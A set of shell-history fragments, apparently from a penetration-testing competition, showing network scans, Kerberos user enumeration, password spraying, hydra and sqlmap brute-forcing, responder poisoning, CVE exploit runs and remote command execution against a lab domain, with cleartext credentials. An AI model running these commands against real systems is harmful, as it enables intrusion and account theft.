sudo systemctl enable docker\
sudo systemctl start docker\
git clone https://github.com/SysReptor/sysreptor.git\
cd sysreptor\
sudo apt install -y sed curl openssl uuid-runtime coreutils
kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt\
clear
sudo nmap 10.0.1.0/24 -sn -oA tnet
cat password.txt
sudo nmap 10.0.1.0/24 -sn -oA tnet
ls
cat tnet.
cat tnet.gnmap
nmap -sV 10.0.1.30
nmap -sV 10.0.1.254
nmap -sV -Pn 10.0.1.254
nmap -sV -Pn -vv 10.0.1.254
nmap -sS -Pn 10.0.1.254
nmap -sS 10.0.1.254
clear
ls
locate usernames.txt
impacket-GetNPUsers allports.local/ -usersfile users.txt -no-pass -format hashcat -outputfile hashes.asrep
cat << EOF > users.txt\
admin\
guest\
administrator\
Admin\
jjones\
dbrown\
jscott\
ssmith\
rsmith\
msmith\
mjones\
jclark\
djones\
cdavis\
bjones\
kbrown\
asmith\
mdavis\
dwhite\
callen\
jwilliams\
bbrown\
smiller\
jtaylor\
bmiller\
sjones\
jthomas\
cmartin\
byoung\
rjones\
mharris\
mjohnson\
cjohnson\
dwilson\
jprice\
jmurphy\
jbaker\
jallen\
dtaylor\
cmiller\
tmorgan\
smartin\
sjohnson\
rkelly\
kmiller\
jlewis\
djohnson\
charris\
ajones\
rwalker\
kjones\
jmoore\
dmoore\
abrown\
sanderson\
jwilson\
jturner\
jharris\
\
\
eof
cat << EOF > users.txt\
admin\
guest\
administrator\
Admin\
jjones\
dbrown\
jscott\
ssmith\
rsmith\
msmith\
mjones\
jclark\
djones\
cdavis\
bjones\
kbrown\
asmith\
mdavis\
dwhite\
callen\
jwilliams\
bbrown\
smiller\
jtaylor\
bmiller\
sjones\
jthomas\
cmartin\
byoung\
rjones\
mharris\
mjohnson\
cjohnson\
dwilson\
jprice\
jmurphy\
jbaker\
jallen\
dtaylor\
cmiller\
tmorgan\
smartin\
sjohnson\
rkelly\
kmiller\
jlewis\
djohnson\
charris\
ajones\
rwalker\
kjones\
jmoore\
dmoore\
abrown\
sanderson\
jwilson\
jturner\
jharris\
\
\
\eof\
exit
ls
cat << EOF > users.txt\
admin\
guest\
administrator\
Admin\
jjones\
dbrown\
jscott\
ssmith\
rsmith\
msmith\
mjones\
jclark\
djones\
cdavis\
bjones\
kbrown\
asmith\
mdavis\
dwhite\
callen\
jwilliams\
bbrown\
smiller\
jtaylor\
bmiller\
sjones\
jthomas\
cmartin\
byoung\
rjones\
mharris\
mjohnson\
cjohnson\
dwilson\
jprice\
jmurphy\
jbaker\
jallen\
dtaylor\
cmiller\
tmorgan\
smartin\
sjohnson\
rkelly\
kmiller\
jlewis\
djohnson\
charris\
ajones\
rwalker\
kjones\
jmoore\
dmoore\
abrown\
sanderson\
jwilson\
jturner\
jharris\
eof
cat << EOF > users.txt\
admin\
guest\
administrator\
Admin\
jjones\
dbrown\
jscott\
ssmith\
rsmith\
msmith\
mjones\
jclark\
djones\
cdavis\
bjones\
kbrown\
asmith\
mdavis\
dwhite\
callen\
jwilliams\
bbrown\
smiller\
jtaylor\
bmiller\


_raw:
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker-compose --version
sudo apt --fix-broken install
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker
systemctl enable docker
bash <(curl -s https://docs.sysreptor.com/install.sh)
sudo systemctl enable docker
sudo systemctl enable docker.service
sudo systemctl unmask docker.service
sudo systemctl enable docker.service
sudo systemctl start docker.service
sudo systemctl start docker
docker
sudo systemctl status docker
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker compse
docker compose
sudo systemctl status docker
Unit docker.service could not be found.\
sudo apt remove docker docker-engine docker.io containerd runc\
sudo apt autoremove
# Update the package index\
sudo apt update\
\
# Install the recommended Docker packages\
sudo apt install docker.io -y
sudo systemctl start docker
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker rm -f sysreptor-app sysreptor-db && docker volume rm -f sysreptor-app-data sysreptor-db-data
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker compose --version
docker compose version
sudo apt sudo apt-get install docker-compose-plugin
sudo  apt-get install docker-compose-plugin
ls
cd sysreptor
ls
cd deploy
ls
vim docker-compose.yml
cd sysreptor
ls
vim docker-compose.yml
uname -a
# 1. Create the plugins directory if it doesn't exist (required for Compose v2)\
DOCKER_CONFIG=${DOCKER_CONFIG:-$HOME/.docker}\
mkdir -p $DOCKER_CONFIG/cli-plugins\
\
# 2. Download the latest release binary for your architecture (amd64)\
# Note: This command is dynamic and fetches the latest version tag (e.g., v2.x.x)\
sudo curl -SL https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m) -o $DOCKER_CONFIG/cli-plugins/docker-compose\
\
# 3. Make the binary executable\
sudo chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose
docker compose version
bash <(curl -s https://docs.sysreptor.com/install.sh)
docker rm -f sysreptor-app sysreptor-db && docker volume rm -f sysreptor-app-data sysreptor-db-data
bash <(curl -s https://docs.sysreptor.com/install.sh)
vim reptorPass
python3 -m http.server
python3 -m http.server 8080
ipconfig
ifconfig
python3 -m http.server 8080
ifconfig
ping 10.0.254.207\x80
ping 10.0.254.207
nmap -sC -sV 10.0.254.207\x80
nmap -sC -sV 10.0.254.207\x80 -Pn
nmap -sC -sV 10.0.254.207
ssh pentester@10.0.254.207
open ~
exit


_raw: : 1761401853:0;dirb https://chat.allports.tours/ /usr/share/wordlists/dirb/common.txt


_raw:
ffuf -w wordlist.txt -u http://10.0.1.11:7700/FUZZ
ls
cd Documents
ls
cd ..
go install github.com/ffuf/ffuf/v2@latest
git clone https://github.com/ffuf/ffuf ; cd ffuf ; go get ; go build
cd  domain
cd Desktop
cd ..
ls
cd Desktop
ls
ffuf -w fuzz.txt -u http://10.0.1.11:7700/FUZZ
ffuf -w fuzz.txt -u http://10.0.1.11:7700/FUZZ -fl 1
ls
cd ..
ls
cd Downloads
ls
ffuf -w onelistforall.txt.7z.001.txt -u http://10.0.1.11:7700/FUZZ -fl 1
ffuf -w onelistforall.txt.7z.001 -u http://10.0.1.11:7700/FUZZ -fl 1
ffuf -w onelistforall.txt.7z.002 -u http://10.0.1.11:7700/FUZZ -fl 1
cd ..
cd Desktop
ffuf -w fuzz.txt -u http://10.0.1.11:7700/FUZZ
ffuf -w fuzz.txt -u http://10.0.1.11:8000/FUZZ
ffuf -w fuzz.txt -u http://10.0.1.11:8000/FUZZ -fl 1
cd ..
cd user
cd usr
cd usr/share
cd usr/
cd /usr
ls
cd share
ls
cd wordlists
ls
cd wfuzz
ls
cd ..
ls
cd dirbuster
ls
ffuf -w directory-list-1.0.txt -u http://10.0.1.11:8000/FUZZ
ffuf -w directory-list-1.0.txt -u http://10.0.1.11:8000/FUZZ -fl 1
ffuf -w directory-list-1.0.txt -u http://10.0.1.11/FUZZ -fl 1
ffuf -w directory-list-1.0.txt -u http://10.0.1.11/FUZZ -fl 1,89
ffuf -w directory-list-1.0.txt -u http://10.0.1.99:8080/FUZZ -fl 1
cd ../../../
cd ..
cd Desktop
ls
cd home
ls
cd ..
ls
cd ~
ls
cd Desktop
ffuf -w fuzztxt -u http://10.0.1.30:8096/FUZZ -fl 1,89
ffuf -w fuzz.txt -u http://10.0.1.30:8096/FUZZ -fl 1,89
ffuf -w fuzz.txt -u http://10.0.1.15:8080/FUZZ -fl 1,89
ffuf -w fuzz.txt -u http://10.0.1.15:8080/FUZZ -fl 1,12
ffuf -w fuzz.txt -u http://10.0.1.15:8080/api/FUZZ -fl 1,12
ffuf -w fuzz.txt -u http://10.0.1.15:8090/FUZZ -fl 1,12
msfconsole
git clone https://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898.git
ls
cd CVE-2024-40725-CVE-2024-40898
ls
python3 CVE-2024-40725.py
python3 CVE-2024-40725.py -u http://10.0.1.15:8080/
cd ..
ffuf -w fuzz.txt -u http://10.0.1.11:8000/FUZZ -fl 1,12
ffuf -w fuzz.txt -u https://10.0.1.30:8096/System/Info/FUZZ -fl 1,12


_raw:
: 1761401326:0;sqlmap -u "http://10.0.1.30:8096/web/login" \\
       --data="username=test&password=test" \\
       --level=5 --risk=3 --tamper=space2comment\


_raw: : 1761401258:0;sqlmap -u 10.0.1.30:8096/web/#/login.html --level 5 --risk 3 --tamper=space2comment --data username:


_raw:
: 1761401248:0;sqlmap -u 10.0.1.30:8096/web/#/login.html --level 5 --risk 3 --tamper=space2comment --data username:a'\
\
\
\
\
\
whoami


_raw: : 1761401214:0;sqlmap -u 10.0.1.30:8096/web/#/login.html --level 5 --risk 3 --tamper=space2comment --data username


_raw: : 1761401049:0;crackmapexec smb 10.0.1.6 -u rdavis -p rosdav50 -x 'whoami' --exec-method smbexec --verbose smb


_raw: : 1761401035:0;crackmapexec smb 10.0.1.6 -u rdavis -p rosdav50 -x 'whoami' --exec-method smbexec -v


_raw: : 1761401026:0;crackmapexec smb 10.0.1.6 -u rdavis -p rosdav50 -x 'whoami' --exec-method smbexec --verbose


_raw: : 1761401012:0;crackmapexec smb 10.0.1.6 -u rdavis -p rosdav50 -x 'whoami' --exec-method smbexec


_raw: : 1761400988:0;sqlmap -u 10.0.1.30:8096/web/#/login.html --level 5 --risk 3 --tamper=space2comment


_raw: : 1761400972:0;crackmapexec ssh 10.0.1.6 -u rdavis -p rosdav50 -x 'whoami' --exec-method smbexec


_raw:
sudo nmap -Pn  -n --disable-arp-ping -sT 10.0.1.6
sudo nmap -Pn  -n --disable-arp-ping -sV -sC 10.0.1.6
curl http://10.0.1.6:593
ifconfig
sudo responder -I eth0
sudo responder -I eth0 -A
ls
cat password.txt
rpcclient -U "" -N
rpcclient -U "" -N 10.0.1.6
crackmapexec smb 10.0.1.6 --users
ldapsearch -h 10.0.1.6 -x -b "DC=allports,DC=local0" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
ldapsearch -h 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
ldapsearch -h 10.0.1.6 -x -b "DC=allports.local" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "
cat password.txt
xfreerdp /v:pentester /u:htb-student /p:'Permit-Deploy-Test-Cache-436' /cert-ignore
xfreerdp3 /v:pentester /u:htb-student /p:'Permit-Deploy-Test-Cache-436' /cert-ignore
sudo nmap -Pn  -n --disable-arp-ping -sT 10.0.1.254
sudo nmap -Pn  -n --disable-arp-ping -sU 10.0.1.254
sudo nmap -Pn  -n --disable-arp-ping -sT 10.0.1.15
sudo nmap -Pn  -n --disable-arp-ping -sT -p- 10.0.1.15
sudo nmap -Pn  -n --disable-arp-ping -sT -p- -sV -sC 10.0.1.15
mysql -u admin -p admin 10.0.1.15
mysql -u admin -padmin 10.0.1.15
mysql -u admin -p admin 10.0.1.15
mysql -u admin 10.0.1.15
mysql -u admin -p admin -h 10.0.1.15
mysql -u admin -padmin -h 10.0.1.15
sudo nmap -Pn  -n --disable-arp-ping -sT -p- -sV -sC 10.0.1.10
sudo nmap -Pn  -n --disable-arp-ping -sT -p- -sV -sC 10.0.1.30
python3 CVE-2020-11579.py
python3 CVE-2020-11579.py -rh http://10.0.1.15:8080 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.15:8080 -lh 0.0.0.0 -f '/etc/passwd' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.15:8081 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.15:8090 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.15:8091 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.15 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.15:8080 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
dirb http://10.0.1.99:8090
dirb http://10.0.1.99:8080
zaproxy
dirb https://10.0.1.14/
dirb -h
rpcclient -U "" -N 10.0.1.6
kerbrute userenum -d allports.local --dc 10.0.1.6 /opt/jsmith.txt
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64
./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 /opt/jsmith.txt
git clone https://github.com/insidetrust/statistically-likely-usernames.git
ls statistically-likely-usernames
./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 statistically-likely-usernames/jsmith.txt
./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 statistically-likely-usernames/jsmith.txt | grep -oP '(?<=\[+\] VALID USERNAME:\s*).*'
./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 statistically-likely-usernames/jsmith.txt > output_users.txt
grep -oP '(?<=\[+\] VALID USERNAME:\s*).*' output_users.txt
grep '\[+\] VALID USERNAME:' output_users.txt
grep '\[+\] VALID USERNAME:' output_users.txt | sed 's/^\[\+\] VALID USERNAME:[[:space:]]*//'
grep -oP '(?<=\d{4}/\d{2}/\d{2} \d{2}:\d{2}:\d{2} >\s*\[\+\] VALID USERNAME:\s*)\S+' output_users.txt
sed -n 's/^.*[0-9]\{4\}\/[0-9]\{2\}\/[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\} >[[:space:]]*\[\+\] VALID USERNAME:[[:space:]]*//p' output_users.txt \\
  | sed 's/[[:space:]].*$//'
awk -F'VALID USERNAME:' 'NF>1 { s=$2; gsub(/^[ \t]+|[ \t].*$/,"",s); print s }' output_users.txt
cat output_users.txt
awk -F'VALID USERNAME:' 'NF>1 { s=$2; gsub(/^[ \t]+|[ \t]+$/,"",s); split(s,a,/[\t ]+/); print a[1] }' output_users.txt
awk -F'VALID USERNAME:' 'NF>1 { s=$2; gsub(/^[ \t]+|[ \t]+$/,"",s); split(s,a,/[\t ]+/); print a[1] }' output_users.txt > users.txt
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt Welcome1
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt Password123
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt 12345678
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt --user-as-pass
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt ''
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt password
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt 123456
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt qwerty
nc 10.0.1.10 6768
cut -d'@' -f1 users.txt
cut -d'@' -f1 users.txt > valid_users.txt
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 users.txt --user-as-pass
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt --user-as-pass
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 12345678
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 123456
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt password
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt Password123
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt password123
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt P@ssw0rd
hydra -l <username> -p /usr/share/wordlists/rockyou.txt.gz 10.0.1.11 http
gunzip -k /usr/share/wordlists/rockyou.txt.gz
sudo \gunzip -k /usr/share/wordlists/rockyou.txt.gz
sudo gunzip -k /usr/share/wordlists/rockyou.txt.gz
hydra -l admin -p /usr/share/wordlists/rockyou.txt.gz 10.0.1.11 http
hydra -l admin -p /usr/share/wordlists/rockyou.txt.gz http://10.0.1.11/login http
hydra -l admin -p /usr/share/wordlists/rockyou.txt.gz http://10.0.1.11/login
hydra -l admin -p /usr/share/wordlists/rockyou.txt.gz http://10.0.1.11/login http-post-form "/:username=^USER^&password=^PASS^:F=incorrect"
hydra -l admin -p /usr/share/wordlists/rockyou.txt.gz http://10.0.1.11/api/auth/login http-post-form "/:username=^USER^&password=^PASS^:F=incorrect"
hydra -l admin -p /usr/share/wordlists/rockyou.txt http://10.0.1.11/api/auth/login http-post-form "/:username=^USER^&password=^PASS^:F=incorrect"
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.1.11 -s 80 http-post-form "/api/auth/login:username=^USER^&password=^PASS^:F=incorrect"\
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.1.11 -s 80 http-post-form "/api/auth/login:username=^USER^&password=^PASS^:F=Unable"\
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.0.1.11 -s 80 http-post-form "/api/auth/login:email=^USER^&password=^PASS^:F=Invalid"\
sudo nmap -sC -sC -p-  10.0.1.14
curl -I https://10.0.1.14
curl https://10.0.1.14
dirb https://10.0.1.14/
dirb https://10.0.1.14/ -w /usr/share/dirb/wordlists/big.txt
burpsuite
cat password.txt
ls
ls ..
ls ../..
ls ../kali
sudo ls ../kali
sudo su
ls
ls thinclient_drives
tree .
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt Welcome2021
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt admin
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt password1
head valid_users.txt
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt Fall2021
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt Welcome2025
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt Password1
dirb http://10.0.1.99
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 12345678
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt qwerty
dirb http://10.0.1.99
ls
python3 CVE-2020-11579.py -rh http://10.0.1.15:8080 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
ifconfig
python3 CVE-2020-11579.py -rh http://10.0.1.15:8080 -lh 10.0.254.202 -f '/etc/issue' -lp 3308 -d
nano shell.sh
chmod +x shell.sh
python3 CVE-2020-11579.py -rh http://10.0.1.15:8080/ -lh 10.0.254.202 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.99:8080/ -lh 10.0.254.202 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.14:8080/ -lh 10.0.254.202 -f '/etc/issue' -lp 3308 -d
dirb http://10.0.1.30:8096/web
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 1111111
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 11111111
head /usr/share/wordlists/rockyou.txt
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 12345
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt iloveyou
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt princess
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt abc123
head -c -11 /usr/share/wordlists/rockyou.txt
head -n 10 /usr/share/wordlists/rockyou.txt
head -n 20 /usr/share/wordlists/rockyou.txt
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt ashley
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 654321
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt babygirl
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt lovely
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt HelloWorld
ls
./kerbrute_linux_amd64 passwordspray -d allports.local --dc 10.0.1.6 valid_users.txt 654321
./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 /opt/jsmith.txt
./kerbrute_linux_amd64 userenum -d allports.local --dc 10.0.1.6 statistically-likely-usernames/jsmith.txt
ldapsearch -h 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d"
sudo nmap -Pn  -n --disable-arp-ping -sT -p- 10.0.1.11
sudo nmap -Pn  -n --disable-arp-ping -sT -p- 10.0.1.20
sudo nmap -Pn  -n --disable-arp-ping -sU 10.0.1.254


_raw: : 1761400904:0;crackmapexec ssh 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope -x 'whoami' --exec-method smbexec


_raw:
open .
firefox index.html
firefox&
firefox &
file file:///root/kerbrute/index.html
file /root/kerbrute/index.html
chmod 777 index.html
sudo chmod 777 index.html
su root
sudo su


_raw:
git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git
ls
cd Princess-Sumaya-University-for-Technology
clear
ls
chmod +x start.sh
sudo ./start.sh
chmod +x all.sh
sudo ./all.sh
clear
sudo nmap -sC -sV -p- 10.0.1.30
ping 10.0.1.30
clear
sudo nmap 10.0.1.-sC -sV -p-
sudo nmap -sC -sV -p- 10.0.1.30
sudo nmap -sC -sV -p- 10.0.1.99
source ~/.zshrc
ls -la ~
cd prin
echo 'preexec() { printf "%s %s\n" "$(date "+%Y-%m-%d %H:%M:%S")" "$1" >> ~/.zsh_history_readable }' >> ~/.zshrc~
source ~/.zshrc
ls -la ~
clear
sudo nano /etc/passwd
sudo nano /etc/hosts
clear
sudo nano /etc/hosts
clear
sudo nano /etc/hosts
clear
whatweb http://10.0.1.30:8096/
curl http://10.0.1.30:8096/
curl -I  http://10.0.1.30:8096/
curl -i  http://10.0.1.30:8096/
curl -i  http://10.0.1.30:8096/web
whatweb http://10.0.1.30:8096/web
clear
mysql -u root -h 10.0.1.99
mysql -u root -h 10.0.1.99 -P 3306
mysql -u root -p -h 10.0.1.99 -P 3306
mysql -u root -p -h 10.0.1.15 -P 3306
clear
sudo nmap -sC -sV -p 3306 --script mysql* 10.0.1.99
mysql -u root -p -h 10.0.1.99 -P 3306
hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.0.1.99 -t 4
clear
hydra --help
hydra -h
mysql -u sa  -p -h 10.0.1.99 -P 3306
clear
ping rooms.allports.tours
ping <http://bb-a173.rooms.allports.tours
ping <http://bb-a173.rooms.allports.tours/
ping http://bb-a173.rooms.allports.tours/
ping bb-a173.rooms.allports.tours
ping chat.allports.tours
sudo nano /etc/password
sudo nano /etc/hosts
ping chat.allports.tours
curl -i chat.allports.tours
sudo nano /etc/hosts
clear
fuff
ffuf -u http://FUZZ.rooms.allports.tours/ -w /usr/share/wordlists/rockyou.txt -T 4
ffuf -u http://FUZZ.rooms.allports.tours/ -w /usr/share/wordlists/rockyou.txt -t 4
find seclists
ls
cd Useful\ Tools
ls
cd ..
ls
sudo apt install seclists
ls
ls /usr/share/wordlists
ffuf -u http://FUZZ.rooms.allports.tours/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 4


_raw:
git clone https://github.com/nationalcptc-teamtools/Princess-Sumaya-University-for-Technology.git
ls
cd P
cd Princess-Sumaya-University-for-Technology
ls
chmod +x all.sh start.sh
./start.sh
clear
./all.sh
sudo nmap -sC -sV 10.0.1.0/24
clear
sudo nmap -sC -sV 10.0.1.10 -p-
source ~/.zshrc
ls -la ~/
cat ~/.zsh_history_readable
nc 10.0.1.10
nc 10.0.1.10 6768
clear
sudo nmap -sC -sV 10.0.1.11 -p-
sudo nano /etc/host
sudo nano /etc/hosts
cyberchef
curl https://chat.allports.tours/
sudo nano /etc/hosts
clear
curl https://chat.allports.tours/
curl http://chat.allports.tours/
curl http://chat.allports.tours/ -k
curl https://chat.allports.tours/ -k
curl https://chat.allports.tours:80/
curl http://chat.allports.tours:80/
curl chat.allports.tours:80/
curl chat.allports.tours
curl chat.allports.tours:80
clear
nc 10.0.1.10 6768
clear
flamshot
flameshot
clear
flameshot
clar
clear
nc 10.0.1.10 6768
clear
nano /etc/hosts
sudo nano /etc/hosts
curl chat.allports.tours
curl https://chat.allports.tours
curl https://chat.allports.tours -k
gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirb/big.txt -t 5
gobuster idr -h
gobuster dir -h
gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirb/big.txt -t 5 -k
gobuster dir -u https://chat.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k
gobuster dir -u https://bb-a173.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k
gobuster dir -h
gobuster dir -u https://bb-a173.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html, php
gobuster dir -u https://bb-a173.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html,php
gobuster dir -u https://bb-a173.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html
gobuster dir -u http://bb-a173.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html
gobuster dir -u http://bb-a173.rooms.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html,php
gobuster dir -u http://bb-a173.rooms.allports.tours/api -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html,php
gobuster dir -u http://bb-a173.rooms.allports.tours/api/admin -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html,php
gobuster dir -u http://bb-a173.rooms.allports.tours/api/services -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html,php
gobuster dir -u http://bb-a173.rooms.allports.tours/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 5 -k -x html,php
dirbuster
dirbuster -h
dirbuster
clera
clear


_raw:
curl https://10.0.1.14/
curl https://10.0.1.14/ -k
curl http://10.0.1.14/ -k
fuf
fuff
cler
clear
ffuf -w /usr/share/wordlists/wifite.txt -u http://10.0.1.14 -H "HOST: FUZZ.allports.local" -fs 10918
clear
ffuf -w /usr/share/wordlists/wifite.txt -u http://10.0.1.14 -H "HOST: FUZZ.allports.local"  -t 5
ffuf -h
ffuf -w /usr/share/wordlists/wifite.txt -u http://10.0.1.14 -H "HOST: FUZZ.allports.local"  -p 0.5 -fc 301
ffuf -w /usr/share/wordlists/wifite.txt -u http://10.0.1.14 -H "HOST: FUZZ.allports.local"  -p 0.5 -fc 301 -t 5
ffuf -w /usr/share/wordlists/wifite.txt -u http://10.0.1.14 -H "HOST: FUZZ.allports.local" -fc 301 -t 5
ffuf -w /usr/share/wordlists/wifite.txt -u https://10.0.1.14 -H "HOST: FUZZ.allports.local" -fc 301 -t 5
cler
clear
ffuf -w /usr/share/wordlists/wifite.txt -u https://10.0.1.14 -H "HOST: FUZZ.allports.tours" -fc 301 -t 5
ffuf -w /usr/share/wordlists/dnsmap.txt -u https://10.0.1.14 -H "HOST: FUZZ.allports.tours" -fc 301 -t 5
ping >http://bb-b143.rooms.allports.tours/
ping  http://bb-b143.rooms.allports.tours/
curl http://bb-b143.rooms.allports.tours/
curl bb-b143.rooms.allports.tours
ping bb-b143.rooms.allports.tours
nc 10.0.1.10 6768
ping chat.allports.tours
curl http://chat.allports.tours
nc 10.0.1.15 3306
mysql -u root\
mysql -u root -h 10.0.1.15
mysql -u admin -h 10.0.1.15
mysql -u admin -h 10.0.1.15 -p
mysql -u root -h 10.0.1.15 -p
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.15 mysql
hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 10.0.1.15 mysql -t 5
ping  chat.allports.tours
sudo nmap -sC -sV 10.0.1.0/24
ping bb-b143.rooms.allports.tours


_raw: : 1761400500:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/Names/names.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt --no-bruteforce


_raw: : 1761400491:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/Names/names.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt --no-brute-force


_raw: : 1761400449:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/Names/names.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt


_raw:
nmap -sS -sV -T4 10.0.1.6
nmap -sS -sV -T4 10.0.1.20
nmap -sS -sV -T4 10.0.1.21
rpcclient -U="guest" 10.0.1.20
smbclient -L //10.0.1.20 -U guest%
smbmap -H 10.0.1.20 -u guest -p ''
smbmap -H 10.0.1.20 -u guest -p ''            # quick writable check\
smbclient -L //10.0.1.20 -U guest%             # list shares
evil-winrm -i 10.0.1.20 -u 'allports.local\guest' -p ''
evil-winrm -i 10.0.1.20 -u 'allports.local\guest'
smbmap -H 10.0.1.20 -u guest
